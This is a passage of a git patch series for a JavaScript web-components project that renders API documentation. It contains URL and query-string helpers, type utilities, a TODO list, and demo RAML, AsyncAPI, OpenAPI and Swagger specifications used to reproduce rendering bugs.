Object.keys(variables).forEach((variable) => { + let value = variables[variable]; + if (value === undefined) { + return; + } + value = String(value); + if (encode) { + if (variable[0] === '+' || variable[0] === '#') { + value = encodeURI(value); + } else { + value = wwwFormUrlEncode(value, false); + } + } + const r = createUrlReplaceRegex(variable); + result = result.replace(r, String(value)); + }); + return result; +} + +/** + * @param {Record} params The query parameters to use to generate the query string. + * @param {boolean} encode Whether to encode query parameters. + * @returns {string} The query string. + */ +function generateQueryString(params, encode) { + if (typeof params !== 'object') { + return ''; + } + const parts = []; + /** + * @param {string} name + * @param {any} value + */ + function addPart(name, value) { + if (value === undefined) { + value = ''; + } else { + value = String(value); + } + if (encode) { + name = wwwFormUrlEncode(name, true); + value = wwwFormUrlEncode(value, true); + } + parts.push(`${name}=${value}`); + } + Object.keys(params).forEach((key) => { + const value = params[key]; + if (Array.isArray(value)) { + value.forEach((v) => { + let arrayValue = v; + if (Array.isArray(arrayValue)) { + arrayValue = arrayValue.join(','); + } + addPart(key, arrayValue); + }); + } else { + addPart(key, value); + } + }); + return parts.join('&'); +} + +/** + * @param {string} url The current URL + * @param {Record} params The query parameters to apply. + * @param {boolean} encode Whether to encode parameters. + */ +export function applyUrlParameters(url, params, encode) { + const query = generateQueryString(params, encode); + if (!query) { + return url; + } + let result = url || ''; + result += (result.indexOf('?') === -1) ? '?' : '&'; + result += query; + return result; +} diff --git a/src/lib/Utils.js b/src/lib/Utils.js new file mode 100644 index 0000000..9267715 --- /dev/null +++ b/src/lib/Utils.js @@ -0,0 +1,64 @@ +import { ns } from '@api-components/amf-helper-mixin'; + +/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiUnionShape} ApiUnionShape */ + + +/** + * @param {string} value The value from the graph model to use to read the value from + */ +export function schemaToType(value) { + const typed = String(value); + let index = typed.lastIndexOf('#'); + if (index === -1) { + index = typed.lastIndexOf('/'); + } + let v = typed.substr(index + 1); + if (v) { + v = `${v[0].toUpperCase()}${v.substr(1)}` + } + return v; +} + +/** + * Reads the label for a data type for a shape union. + * @param {ApiShapeUnion} schema + * @returns {string|undefined} Computed label for a shape. + */ +export function readPropertyTypeLabel(schema) { + if (!schema) { + return undefined; + } + const { types } = schema; + if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { + const scalar = /** @type ApiScalarShape */ (schema); + return schemaToType(scalar.dataType || ''); + } + if (types.includes(ns.aml.vocabularies.shapes.ArrayShape)) { + const array = /** @type ApiArrayShape */ (schema); + if (!array.items) { + return undefined; + } + const label = readPropertyTypeLabel(array.items); + return `List of ${label}`; + } + if (types.includes(ns.w3.shacl.NodeShape)) { + let { name } = schema; + if (name === 'type') { + // AMF seems to put `type` value into a property that is declared inline (?). + name = undefined; + } + return name || 'Object'; + } + if (types.includes(ns.aml.vocabularies.shapes.UnionShape)) { + const union = /** @type ApiUnionShape */ (schema); + const items = union.anyOf.map(readPropertyTypeLabel); + return items.join(' or '); + } + if (types.includes(ns.aml.vocabularies.shapes.FileShape)) { + return 'File'; + } + return 'Unknown'; +} diff --git a/src/ApiDocumentationElement.d.ts b/src/old/ApiDocumentationElement.d.ts similarity index 100% rename from src/ApiDocumentationElement.d.ts rename to src/old/ApiDocumentationElement.d.ts diff --git a/src/ApiDocumentationElement.js b/src/old/ApiDocumentationElement.js similarity index 100% rename from src/ApiDocumentationElement.js rename to src/old/ApiDocumentationElement.js diff --git a/src/types.d.ts b/src/types.d.ts new file mode 100644 index 0000000..2eab0cb --- /dev/null +++ b/src/types.d.ts @@ -0,0 +1,46 @@ +import { ApiParameterRecursive, ApiSecurityRequirementRecursive, ApiShapeUnion } from "@api-components/amf-helper-mixin"; + +export interface OperationParameter { + parameter: ApiParameterRecursive; + schema?: ApiShapeUnion; + paramId: string; + schemaId?: string; + binding: string; + source: string; +} + +export interface ShapeTemplateOptions { + nillable?: boolean; + arrayItem?: boolean; + index?: number; + value?: any; +} + +export declare interface CredentialSource { + grantType: string + credentials: Array +} + +export declare interface Source { + name: string + clientId: string | undefined + clientSecret: string | undefined +} + +export interface SecuritySelectorListItem { + types: string[]; + labels: string[]; + security: ApiSecurityRequirementRecursive; +} + +export interface AuthPreProcessorOptions { + /** + * When set it removes authorization scheme from the request that has been applied to the request + * leaving all that hasn't been processed. + */ + removeProcessed?: boolean; + /** + * When set it processes authorization schemes that are reported to be invalid. + */ + processInvalid?: boolean; +} From f5ed6232a80b56d76f4d67dcddb1633874065648 Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Mon, 27 Sep 2021 01:08:17 -0700 Subject: [PATCH 02/24] chore: adding todo list Signed-off-by: Pawel Psztyc --- TODO.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100644 TODO.md diff --git a/TODO.md b/TODO.md new file mode 100644 index 0000000..8988a68 --- /dev/null +++ b/TODO.md @@ -0,0 +1,12 @@ + +# TODO + +- Add code snippets +- Add "try it" button +- Render the request editor side-by-side +- Render multiple security schemes applied to a single method with tabs/drop-down selector +- Fix the `(unknown path)` in the operation +- Rendering of fragments and the partial model +- main `api-documentation` element +- replace body content type selector with radio buttons like in the request editor +- Tests From 2ff1e43e83530c3469ea5ce46342544d6115db4d Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Mon, 27 Sep 2021 19:24:29 -0700 Subject: [PATCH 03/24] chore: separating Sync and Async endpoints Signed-off-by: Pawel Psztyc --- TODO.md | 11 +- api-channel-document.d.ts | 7 + api-channel-document.js | 3 + demo/APIC-553/APIC-553.raml | 59 ++ demo/APIC-560/APIC-560.yaml | 203 +++++ demo/APIC-582/APIC-582.yaml | 23 + demo/APIC-650/APIC-650.yaml | 24 + demo/APIC-650/common-parameters.yaml | 23 + demo/SE-12752/SE-12752.raml | 33 + demo/SE-12957/SE-12957.json | 741 ++++++++++++++++++ demo/SE-12959/SE-12959.json | 741 ++++++++++++++++++ demo/Streetlights/Streetlights.yaml | 36 + demo/api-channel.html | 16 + demo/api-channel.js | 125 +++ demo/api-operation.js | 83 +- demo/api-resource.js | 88 ++- demo/demo.css | 4 + demo/index.html | 4 +- demo/model.mjs | 9 + demo/oas-callbacks/oas-callbacks.yaml | 150 ++++ index.d.ts | 1 + index.js | 1 + package-lock.json | 265 +++++-- package.json | 11 +- .../ApiChannelDocumentationElement.js | 91 +++ src/elements/ApiDocumentationBase.js | 2 +- src/elements/ApiOperationDocumentElement.js | 185 ++++- src/elements/ApiPayloadDocumentElement.js | 2 +- src/elements/ApiRequestDocumentElement.js | 73 +- .../ApiResourceDocumentationElement.js | 98 ++- src/elements/ApiResponseDocumentElement.js | 2 +- src/elements/ApiSecurityDocumentElement.js | 2 +- .../ApiSecurityRequirementDocumentElement.js | 1 + src/elements/styles/ApiOperation.js | 17 + src/elements/styles/ApiPayload.js | 4 + src/elements/styles/ApiResource.js | 2 +- src/elements/styles/Common.js | 4 + src/lib/QueryParameterProcessor.js | 159 ++++ src/lib/UrlUtils.js | 155 ---- src/lib/Utils.js | 21 +- 40 files changed, 3173 insertions(+), 306 deletions(-) create mode 100644 api-channel-document.d.ts create mode 100644 api-channel-document.js create mode 100644 demo/APIC-553/APIC-553.raml create mode 100644 demo/APIC-560/APIC-560.yaml create mode 100644 demo/APIC-582/APIC-582.yaml create mode 100644 demo/APIC-650/APIC-650.yaml create mode 100644 demo/APIC-650/common-parameters.yaml create mode 100644 demo/SE-12752/SE-12752.raml create mode 100644 demo/SE-12957/SE-12957.json create mode 100644 demo/SE-12959/SE-12959.json create mode 100644 demo/Streetlights/Streetlights.yaml create mode 100644 demo/api-channel.html create mode 100644 demo/api-channel.js create mode 100644 demo/oas-callbacks/oas-callbacks.yaml create mode 100644 src/elements/ApiChannelDocumentationElement.js create mode 100644 src/lib/QueryParameterProcessor.js delete mode 100644 src/lib/UrlUtils.js diff --git a/TODO.md b/TODO.md index 8988a68..395d28d 100644 --- a/TODO.md +++ b/TODO.md @@ -1,11 +1,16 @@ # TODO -- Add code snippets -- Add "try it" button +- ~~Add "try it" button~~ +- Sync the Operation template + - Add code snippets +- Sync the Endpoint template +- Sync the Schema template +- Sync the Response template +- Sync the Payload template - Render the request editor side-by-side - Render multiple security schemes applied to a single method with tabs/drop-down selector -- Fix the `(unknown path)` in the operation +- ~~Fix the `(unknown path)` in the operation~~ - Rendering of fragments and the partial model - main `api-documentation` element - replace body content type selector with radio buttons like in the request editor diff --git a/api-channel-document.d.ts b/api-channel-document.d.ts new file mode 100644 index 0000000..18b8557 --- /dev/null +++ b/api-channel-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiChannelDocumentationElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-channel-document": Element; + } +} diff --git a/api-channel-document.js b/api-channel-document.js new file mode 100644 index 0000000..5e153a2 --- /dev/null +++ b/api-channel-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiChannelDocumentationElement.js'; + +window.customElements.define('api-channel-document', Element); diff --git a/demo/APIC-553/APIC-553.raml b/demo/APIC-553/APIC-553.raml new file mode 100644 index 0000000..d1e9b50 --- /dev/null +++ b/demo/APIC-553/APIC-553.raml @@ -0,0 +1,59 @@ +#%RAML 1.0 +baseUri: http://domain.org + +title: Array does not work API +version: 1.0 +mediaType: application/json +description: | + "TypeError: Cannot read property 'split' of undefined" prevents Documentation from being shown. + + After bump of console v6.3.1 in APID, automation fails when navigating to endpoint cmt method GET in the following API + +types: + ORX_ARRAY: + type: array + items: string + minItems: 1 + ORX_STR_WITH_EXAMPLE: + type: string + example: foo + +/cmt: + get: + queryParameters: + orx: + description: List ORX type. + type: ORX_ARRAY + required: true + details: + displayName: details + type: string + required: false + modemCount: + displayName: modemCount + type: string + required: false + responses: + 200: + body: + application/json: +/cmt-with-qp-example: + get: + queryParameters: + orx: + description: ORX type. + type: string + required: true + example: foo + details: + displayName: details + type: string + required: false + modemCount: + displayName: modemCount + type: string + required: false + responses: + 200: + body: + application/json: diff --git a/demo/APIC-560/APIC-560.yaml b/demo/APIC-560/APIC-560.yaml new file mode 100644 index 0000000..98f55da --- /dev/null +++ b/demo/APIC-560/APIC-560.yaml @@ -0,0 +1,203 @@ +asyncapi: 2.0.0 +info: + title: Streetlights API + version: '1.0.0' + description: | + The URL in the operation doc was rendering the URL value outside the URL area. + license: + name: Apache 2.0 + url: https://www.apache.org/licenses/LICENSE-2.0 + +servers: + production: + url: api.streetlights.smartylighting.com:{port} + protocol: mqtt + description: Test broker + variables: + port: + description: Secure connection (TLS) is available through port 8883. + default: '1883' + enum: + - '1883' + - '8883' + security: + - apiKey: [] + - supportedOauthFlows: + - streetlights:on + - streetlights:off + - streetlights:dim + - openIdConnectWellKnown: [] + +defaultContentType: application/json + +channels: + smartylighting/streetlights/1/0/event/{streetlightId}/lighting/measured: + description: The topic on which measured values may be produced and consumed. + parameters: + streetlightId: + $ref: '#/components/parameters/streetlightId' + subscribe: + summary: Receive information about environmental lighting conditions of a particular streetlight. + operationId: receiveLightMeasurement + traits: + - $ref: '#/components/operationTraits/kafka' + message: + $ref: '#/components/messages/lightMeasured' + + smartylighting/streetlights/1/0/action/{streetlightId}/turn/on: + parameters: + streetlightId: + $ref: '#/components/parameters/streetlightId' + publish: + operationId: turnOn + traits: + - $ref: '#/components/operationTraits/kafka' + message: + $ref: '#/components/messages/turnOnOff' + + smartylighting/streetlights/1/0/action/{streetlightId}/turn/off: + parameters: + streetlightId: + $ref: '#/components/parameters/streetlightId' + publish: + operationId: turnOff + traits: + - $ref: '#/components/operationTraits/kafka' + message: + $ref: '#/components/messages/turnOnOff' + + smartylighting/streetlights/1/0/action/{streetlightId}/dim: + parameters: + streetlightId: + $ref: '#/components/parameters/streetlightId' + publish: + operationId: dimLight + traits: + - $ref: '#/components/operationTraits/kafka' + message: + $ref: '#/components/messages/dimLight' + +components: + messages: + lightMeasured: + name: lightMeasured + title: Light measured + summary: Inform about environmental lighting conditions for a particular streetlight. + contentType: application/json + traits: + - $ref: '#/components/messageTraits/commonHeaders' + payload: + $ref: "#/components/schemas/lightMeasuredPayload" + turnOnOff: + name: turnOnOff + title: Turn on/off + summary: Command a particular streetlight to turn the lights on or off. + traits: + - $ref: '#/components/messageTraits/commonHeaders' + payload: + $ref: "#/components/schemas/turnOnOffPayload" + dimLight: + name: dimLight + title: Dim light + summary: Command a particular streetlight to dim the lights. + traits: + - $ref: '#/components/messageTraits/commonHeaders' + payload: + $ref: "#/components/schemas/dimLightPayload" + + schemas: + lightMeasuredPayload: + type: object + properties: + lumens: + type: integer + minimum: 0 + description: Light intensity measured in lumens. + sentAt: + $ref: "#/components/schemas/sentAt" + turnOnOffPayload: + type: object + properties: + command: + type: string + enum: + - on + - off + description: Whether to turn on or off the light. + sentAt: + $ref: "#/components/schemas/sentAt" + dimLightPayload: + type: object + properties: + percentage: + type: integer + description: Percentage to which the light should be dimmed to. + minimum: 0 + maximum: 100 + sentAt: + $ref: "#/components/schemas/sentAt" + sentAt: + type: string + format: date-time + description: Date and time when the message was sent. + + securitySchemes: + apiKey: + type: apiKey + in: user + description: Provide your API key as the user and leave the password empty. + supportedOauthFlows: + type: oauth2 + description: Flows to support OAuth 2.0 + flows: + implicit: + authorizationUrl: 'https://authserver.example/auth' + scopes: + 'streetlights:on': Ability to switch lights on + 'streetlights:off': Ability to switch lights off + 'streetlights:dim': Ability to dim the lights + password: + tokenUrl: 'https://authserver.example/token' + scopes: + 'streetlights:on': Ability to switch lights on + 'streetlights:off': Ability to switch lights off + 'streetlights:dim': Ability to dim the lights + clientCredentials: + tokenUrl: 'https://authserver.example/token' + scopes: + 'streetlights:on': Ability to switch lights on + 'streetlights:off': Ability to switch lights off + 'streetlights:dim': Ability to dim the lights + authorizationCode: + authorizationUrl: 'https://authserver.example/auth' + tokenUrl: 'https://authserver.example/token' + refreshUrl: 'https://authserver.example/refresh' + scopes: + 'streetlights:on': Ability to switch lights on + 'streetlights:off': Ability to switch lights off + 'streetlights:dim': Ability to dim the lights + openIdConnectWellKnown: + type: openIdConnect + openIdConnectUrl: 'https://authserver.example/.well-known' + + parameters: + streetlightId: + description: The ID of the streetlight. + schema: + type: string + + messageTraits: + commonHeaders: + headers: + type: object + properties: + my-app-header: + type: integer + minimum: 0 + maximum: 100 + + operationTraits: + kafka: + bindings: + kafka: + clientId: my-app-id diff --git a/demo/APIC-582/APIC-582.yaml b/demo/APIC-582/APIC-582.yaml new file mode 100644 index 0000000..6ee399a --- /dev/null +++ b/demo/APIC-582/APIC-582.yaml @@ -0,0 +1,23 @@ +asyncapi: 2.0.0 +info: + title: Account service + version: 1.0.0 + description: The response body was not rendered as defined in the spec. +channels: + user/signedup: + subscribe: + message: + $ref: '#/components/messages/UserSignedUp' +components: + messages: + UserSignedUp: + payload: + type: object + properties: + displayName: + type: string + description: Name of the user + email: + type: string + format: email + description: Email of user diff --git a/demo/APIC-650/APIC-650.yaml b/demo/APIC-650/APIC-650.yaml new file mode 100644 index 0000000..e345f59 --- /dev/null +++ b/demo/APIC-650/APIC-650.yaml @@ -0,0 +1,24 @@ +openapi: "3.0.0" +info: + version: v1 + title: test-api-spec-for-support-case + description: When going back and forth between the endpoints defined in the attached spec, the generated example for URI Parameters is not populated correctly, it belongs to the other endpoint. + +paths: + /testEndpoint1/{uriParam1}: + get: + parameters: + - $ref: "common-parameters.yaml#/components/parameters/UriParam1" + description: Test endpoint 1. + responses: + '200': + description: When going back and forth between the endpoints defined in the attached spec, the generated example for URI Parameters is not populated correctly, it belongs to the other endpoint. + + /testEndpoint2/{uriParam2}: + get: + parameters: + - $ref: "common-parameters.yaml#/components/parameters/UriParam2" + description: Test endpoint 2. + responses: + '200': + description: When going back and forth between the endpoints defined in the attached spec, the generated example for URI Parameters is not populated correctly, it belongs to the other endpoint. diff --git a/demo/APIC-650/common-parameters.yaml b/demo/APIC-650/common-parameters.yaml new file mode 100644 index 0000000..eb80f07 --- /dev/null +++ b/demo/APIC-650/common-parameters.yaml @@ -0,0 +1,23 @@ +openapi: "3.0.0" +info: + version: 1.0.0 + title: common-parameters +paths: {} +components: + parameters: + UriParam1: + name: uriParam1 + in: path + description: uri param for testEndpoint 1 + required: true + schema: + type: string + example: "uriParam1Example" + UriParam2: + name: uriParam2 + in: path + description: uri param for testEndpoint 2 + required: true + schema: + type: string + example: "uriParam2Example" \ No newline at end of file diff --git a/demo/SE-12752/SE-12752.raml b/demo/SE-12752/SE-12752.raml new file mode 100644 index 0000000..8497785 --- /dev/null +++ b/demo/SE-12752/SE-12752.raml @@ -0,0 +1,33 @@ +#%RAML 1.0 +baseUri: https://anypoint.mulesoft.com/mocking/api/v1/links/ccc5e2f5-eff9-4cc9-acb9-203c55f08d19/trn-sys-api-gabe/{version} # +title: One Query Param Required +description: | + Rendering different types of a query string in the documentation. +types: + queryParam: + minProperties: 1 + properties: + seriesNumber?: + type: number + description: A description of a series number + maximum: 1 + featureNumber?: string + otherParam: + properties: + unioned: string +/test: + get: + queryString: queryParam +/union: + get: + queryString: queryParam | otherParam +/scalar: + get: + queryString: + type: string + example: test + description: A query string with a scalar type. +/array: + get: + queryString: + type: otherParam[] diff --git a/demo/SE-12957/SE-12957.json b/demo/SE-12957/SE-12957.json new file mode 100644 index 0000000..6b08c89 --- /dev/null +++ b/demo/SE-12957/SE-12957.json @@ -0,0 +1,741 @@ +{ + "swagger": "2.0", + "info": { + "version": "v1", + "title": "SMART Downtime API Example4", + "description": "OAS2: URI parameters are not described nor published", + "contact": { + "name": "SMART Support", + "email": "smartsupport@res-group.com" + } + }, + "paths": { + "/api/v1/alarm/{scada-object-key}": { + "get": { + "tags": [ + "Alarm" + ], + "summary": "Get a list of alarms for a single downtime event.", + "operationId": "GetList", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The key identifies the SCADA object", + "required": true, + "type": "string" + }, + { + "name": "time-on", + "in": "query", + "description": "The downtime event start time", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/Alarm" + } + } + } + } + } + }, + "/api/v1/downtime/site/{site-api-key}": { + "get": { + "tags": [ + "Downtime" + ], + "summary": "Get a list of downtime events for a site that overlap with a time period", + "operationId": "GetSite", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "site-api-key", + "in": "path", + "description": "The SMART API key of the site", + "required": true, + "type": "string" + }, + { + "name": "from", + "in": "query", + "description": "The inclusive start of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "to", + "in": "query", + "description": "The exclusive end of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/DowntimeEvent" + } + } + } + } + } + }, + "/api/v1/downtime/object/{scada-object-key}": { + "get": { + "tags": [ + "Downtime" + ], + "summary": "Get a list of downtime events for a SCADA object that overlap with a time period", + "operationId": "GetObject", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The SMART API key of the object", + "required": true, + "type": "string" + }, + { + "name": "from", + "in": "query", + "description": "The inclusive start of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "to", + "in": "query", + "description": "The exclusive end of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/DowntimeEvent" + } + } + } + } + } + }, + "/api/v1/downtime/{site-api-key}/type/{scada-object-type}": { + "get": { + "tags": [ + "Downtime" + ], + "summary": "Get a list of downtime events for all SCADA objects of a single type at one site that overlap with the selected time period", + "operationId": "GetType", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "site-api-key", + "in": "path", + "description": "The SMART API key of the site", + "required": true, + "type": "string" + }, + { + "name": "scada-object-type", + "in": "path", + "description": "The SCADA object type", + "required": true, + "type": "string" + }, + { + "name": "from", + "in": "query", + "description": "The inclusive start of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "to", + "in": "query", + "description": "The exclusive end of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/DowntimeEvent" + } + } + } + } + } + }, + "/api/v1/downtime": { + "put": { + "tags": [ + "Downtime" + ], + "summary": "Update a downtime event", + "operationId": "Put", + "consumes": [ + "application/json-patch+json", + "application/json", + "text/json", + "application/*+json" + ], + "produces": [], + "parameters": [ + { + "name": "downtimeEvent", + "in": "body", + "description": "The downtime event to update", + "required": false, + "schema": { + "$ref": "#/definitions/EditableDowntimeEvent" + } + } + ], + "responses": { + "200": { + "description": "Success" + } + } + }, + "post": { + "tags": [ + "Downtime" + ], + "summary": "Create a new downtime event", + "operationId": "Post", + "consumes": [ + "application/json-patch+json", + "application/json", + "text/json", + "application/*+json" + ], + "produces": [], + "parameters": [ + { + "name": "downtimeEvent", + "in": "body", + "description": "The new downtime event", + "required": false, + "schema": { + "$ref": "#/definitions/EditableDowntimeEvent" + } + } + ], + "responses": { + "200": { + "description": "Success" + } + } + } + }, + "/api/v1/downtime/revert/{scada-object-key}": { + "put": { + "tags": [ + "Downtime" + ], + "summary": "Revert changes to a previously split downtime event", + "operationId": "Revert", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The SMART API key of the downtime event's SCADA object", + "required": true, + "type": "string" + }, + { + "name": "time-on", + "in": "query", + "description": "The start time of the downtime event. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "$ref": "#/definitions/DowntimeEvent" + } + } + } + } + }, + "/api/v1/downtime/split/{scada-object-key}": { + "put": { + "tags": [ + "Downtime" + ], + "summary": "Split a downtime event", + "operationId": "Split", + "consumes": [], + "produces": [], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The SMART API key of the downtime event's SCADA object", + "required": true, + "type": "string" + }, + { + "name": "time-on", + "in": "query", + "description": "The start time of the downtime event. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "split-time", + "in": "query", + "description": "The time to split. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success" + } + } + } + }, + "/api/v1/downtime/copy/{scada-object-key}": { + "put": { + "tags": [ + "Downtime" + ], + "summary": "Copy the properties of a downtime event to a list of downtime events.", + "description": "The following properties are copied:\r\nAlarmGroup\r\nAlarmDefinition\r\nAvailabilityIndicator\r\nDescription", + "operationId": "Copy", + "consumes": [ + "application/json-patch+json", + "application/json", + "text/json", + "application/*+json" + ], + "produces": [], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The SMART API key of the downtime event's SCADA object", + "required": true, + "type": "string" + }, + { + "name": "time-on", + "in": "query", + "description": "The start time of the downtime event", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "downtimeEvents", + "in": "body", + "description": "Create or update these downtime events", + "required": false, + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/DowntimeEventKey" + } + } + } + ], + "responses": { + "200": { + "description": "Success" + } + } + } + }, + "/api/v1/group": { + "get": { + "tags": [ + "Group" + ], + "summary": "Get a list of all alarm groups", + "operationId": "GetAlarmGroups", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/AlarmGroup" + } + } + } + } + } + }, + "/api/v1/object/{site-api-key}/{scada-object-type}": { + "get": { + "tags": [ + "Object" + ], + "summary": "Get a list of SCADA objects of a single type at one site that can have Downtimes", + "operationId": "GetObjects", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "site-api-key", + "in": "path", + "description": "The SMART API key of the site", + "required": true, + "type": "string" + }, + { + "name": "scada-object-type", + "in": "path", + "description": "The SCADA object type", + "required": true, + "type": "string" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/ScadaObject" + } + } + } + } + } + }, + "/api/v1/objecttype/{site-api-key}": { + "get": { + "tags": [ + "ObjectType" + ], + "summary": "Get a list of types of the SCADA objects at one site that can have Downtimes", + "operationId": "GetTypes", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "site-api-key", + "in": "path", + "description": "The SMART API key of the site", + "required": true, + "type": "string" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "type": "string" + } + } + } + } + } + }, + "/api/v1/penalising-status": { + "get": { + "tags": [ + "PenalisingStatus" + ], + "summary": "Get a list of all penalising status", + "operationId": "GetPenalisingStatus", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/AvailabilityIndicator" + } + } + } + } + } + } + }, + "definitions": { + "Alarm": { + "type": "object", + "properties": { + "timeOn": { + "format": "date-time", + "type": "string" + }, + "timeOff": { + "format": "date-time", + "type": "string" + }, + "description": { + "type": "string" + }, + "parameter1": { + "type": "string" + }, + "parameter2": { + "type": "string" + }, + "comment": { + "type": "string" + } + } + }, + "DowntimeEvent": { + "type": "object", + "properties": { + "alarmCode": { + "type": "string" + }, + "siteKey": { + "type": "string" + }, + "description": { + "type": "string" + }, + "lostProduction": { + "format": "double", + "type": "number" + }, + "meanWindSpeed": { + "format": "double", + "type": "number" + }, + "windSpeedDataCoverage": { + "format": "double", + "type": "number" + }, + "edited": { + "type": "boolean" + }, + "canBeReverted": { + "type": "boolean" + }, + "timeOff": { + "format": "date-time", + "type": "string" + }, + "comment": { + "type": "string" + }, + "subGroup": { + "type": "string" + }, + "group": { + "type": "string" + }, + "penalisingStatus": { + "type": "string" + }, + "scadaObjectName": { + "type": "string" + }, + "scadaObjectKey": { + "type": "string" + }, + "timeOn": { + "format": "date-time", + "type": "string" + } + } + }, + "EditableDowntimeEvent": { + "type": "object", + "properties": { + "timeOff": { + "format": "date-time", + "type": "string" + }, + "comment": { + "type": "string" + }, + "subGroup": { + "type": "string" + }, + "group": { + "type": "string" + }, + "penalisingStatus": { + "type": "string" + }, + "scadaObjectName": { + "type": "string" + }, + "scadaObjectKey": { + "type": "string" + }, + "timeOn": { + "format": "date-time", + "type": "string" + } + } + }, + "DowntimeEventKey": { + "type": "object", + "properties": { + "scadaObjectKey": { + "type": "string" + }, + "timeOn": { + "format": "date-time", + "type": "string" + } + } + }, + "AlarmGroup": { + "type": "object", + "properties": { + "turbineBudget": { + "type": "boolean" + }, + "windfarmBudget": { + "type": "boolean" + }, + "operationalAvailability": { + "type": "boolean" + }, + "name": { + "type": "string" + }, + "technology": { + "$ref": "#/definitions/SiteTechnology" + }, + "subGroups": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/AlarmSubGroup" + } + } + } + }, + "SiteTechnology": { + "type": "object", + "properties": { + "name": { + "type": "string" + } + } + }, + "AlarmSubGroup": { + "type": "object", + "properties": { + "name": { + "type": "string" + } + } + }, + "ScadaObject": { + "type": "object", + "properties": { + "apiKey": { + "type": "string" + }, + "name": { + "type": "string" + } + } + }, + "AvailabilityIndicator": { + "type": "object", + "properties": { + "name": { + "type": "string" + } + } + } + } +} diff --git a/demo/SE-12959/SE-12959.json b/demo/SE-12959/SE-12959.json new file mode 100644 index 0000000..a2f7bcb --- /dev/null +++ b/demo/SE-12959/SE-12959.json @@ -0,0 +1,741 @@ +{ + "swagger": "2.0", + "info": { + "version": "v1", + "title": "SMART Downtime API Example4", + "description": "Rendering of the \"summary\" field in the operation documentation. Jira: summary field for an 'Operation Object' does not appear in Design Center and these summaries are not published to Exchange", + "contact": { + "name": "SMART Support", + "email": "smartsupport@res-group.com" + } + }, + "paths": { + "/api/v1/alarm/{scada-object-key}": { + "get": { + "tags": [ + "Alarm" + ], + "description": "Get a list of alarms for a single downtime event.", + "operationId": "GetList", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The key identifies the SCADA object", + "required": true, + "type": "string" + }, + { + "name": "time-on", + "in": "query", + "description": "The downtime event start time", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/Alarm" + } + } + } + } + } + }, + "/api/v1/downtime/site/{site-api-key}": { + "get": { + "tags": [ + "Downtime" + ], + "summary": "Get a list of downtime events for a site that overlap with a time period", + "operationId": "GetSite", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "site-api-key", + 